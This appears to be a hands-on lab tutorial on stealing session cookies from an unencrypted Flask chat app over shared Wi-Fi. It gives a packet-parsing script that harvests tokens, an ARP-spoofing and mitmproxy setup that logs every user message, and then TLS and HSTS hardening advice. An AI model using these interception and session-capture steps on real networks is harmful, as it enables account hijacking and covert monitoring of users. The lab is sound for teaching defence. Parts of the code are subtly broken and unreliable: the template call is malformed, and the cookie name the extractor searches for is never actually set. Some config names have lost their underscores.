Before You Begin

  • Python 3.10+, Wireshark, mitmproxy, and scapy library (pip install scapy)
  • Two machines: one server (Linux) and one client (any OS) on the same Wi-Fi (no isolation)
  • Administrative access to the Wi-Fi router (or use a dedicated access point)
  • Basic understanding of HTTP, cookies, and TCP/IP

1. Building the Vulnerable BerlinChat Server

We'll create a minimal Flask chat app that uses HTTP (no TLS) and a session cookie named berlin_session. This simulates many legacy internal apps.

# berlinchat_server.py
from flask import Flask, request, session, render_template_string
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)

HTML = '''
<form method="POST">
  <input name="msg" placeholder="Type a message">
  <button>Send</button>
</form>
<ul>%s</ul>
'''
messages = []

@app.route('/', methods=['GET', 'POST'])
def chat():
    if 'berlin_session' not in session:
        session['berlin_session'] = secrets.token_hex(8)
    user_token = session['berlin_session']
    if request.method == 'POST':
        msg = f"{user_token}: {request.form['msg']}"
        messages.append(msg)
    return render_template_string(HTML, '\\n'.join(messages))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

Deploy on a server machine (e.g., a Raspberry Pi or VM). Use the SSH hardening template from the standard: disable password auth, change default SSH port, enable UFW (allow ports 5000 and your custom SSH).

# /etc/ssh/sshd_config excerpt
Port 2288
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3

2. Sniffing Wi-Fi Traffic with Wireshark

On the attacker machine (same Wi-Fi), start Wireshark and capture on the Wi-Fi interface. Apply a filter: http and ip.addr == <server_ip>.

Send a chat message from the client browser. In Wireshark, you'll see GET/POST requests containing a Cookie: berlin_session=... header. Right-click a packet โ†’ Follow TCP Stream to see the raw session token.

3. Extracting Session Tokens Programmatically

Use Scapy to parse the pcap file and extract all session cookies and user messages.

# extract_sessions.py
from scapy.all import *
import re

def extract_http(pcap_file):
    packets = rdpcap(pcap_file)
    sessions = []
    for pkt in packets:
        if pkt.haslayer(TCP) and pkt.haslayer(Raw):
            payload = pkt[Raw].load.decode(errors='ignore')
            if 'Cookie:' in payload:
                token = re.search(r'berlin_session=([^;\s]+)', payload)
                msg = re.search(r'msg=([^&\s]+)', payload)
                if token:
                    sessions.append({'token': token.group(1), 'data': payload})
    return sessions

sessions = extract_http('capture.pcap')
for s in sessions:
    print(f"Token: {s['token']}")

4. Monitoring User Activity in Real-Time with mitmproxy

Place the attacker machine as a man-in-the-middle (e.g., using ARP spoofing or a transparent proxy). Launch mitmproxy in transparent mode:

mitmproxy --mode transparent --listen-port 8080

Then redirect HTTP traffic to mitmproxy using arpspoof (from dsniff suite). Now all HTTP requests from the client flow through mitmproxy. Write a small inline script to log every chat message:

# chat_logger.py
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if flow.request.pretty_host == 'server.local':
        with open('chat_log.txt', 'a') as f:
            f.write(f"{flow.request.cookies} - {flow.request.text}\n")

Run with: mitmproxy -s chat_logger.py. You'll capture every keystroke in real time.

5. Defensive Hardening (The Fix)

The vulnerability exists because the chat app uses plain HTTP and non-secure cookies. Apply these standard security measures:

  • Enable HTTPS: Use Let's Encrypt with Certbot. Configure Nginx to terminate TLS and redirect HTTP to HTTPS.
  • Set Secure and HttpOnly flags on the cookie: session['berlinsession'] is automatically secure if Flask's SESSIONCOOKIESECURE=True and SESSIONCOOKIE_HTTPONLY=True.
  • HSTS header: Add Strict-Transport-Security: max-age=63072000; includeSubDomains in Nginx.
  • Network segregation: Use client isolation on the Wi-Fi router to prevent peer-to-peer sniffing.
  • VPN for internal services: Force all traffic through a VPN tunnel to encrypt even internal communications.

A hardened Nginx configuration (following the standard template) would be:

server {
    listen 443 ssl http2;
    server_name berlinchat.internal;
    ssl_certificate /etc/letsencrypt/live/berlinchat.internal/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/berlinchat.internal/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
    location / {
        proxy_pass http://localhost:5000;
    }
}
Sponsored Deal

6. Common Issues & Solutions

  • No HTTP traffic captured: Ensure Wi-Fi interface is in monitor mode or use a hub/switch tap. On managed switches, enable port mirroring.
  • mitmproxy certificate warnings: For HTTPS, install the mitmproxy CA on the client. But for this demo, we used HTTP deliberately.
  • ARP spoofing fails: Some routers have ARP spoofing protection. Use a separate Wi-Fi network with a non-managed switch.
  • Flask session cookie not visible: Flask's default cookie is session, but we renamed to berlin_session for clarity. Ensure you match the name in your parser.

7. Ethical Boundaries

This technique is for authorized penetration testing only. Running session capture on a network without explicit permission is illegal in most jurisdictions. Always test in a lab environment or with written consent.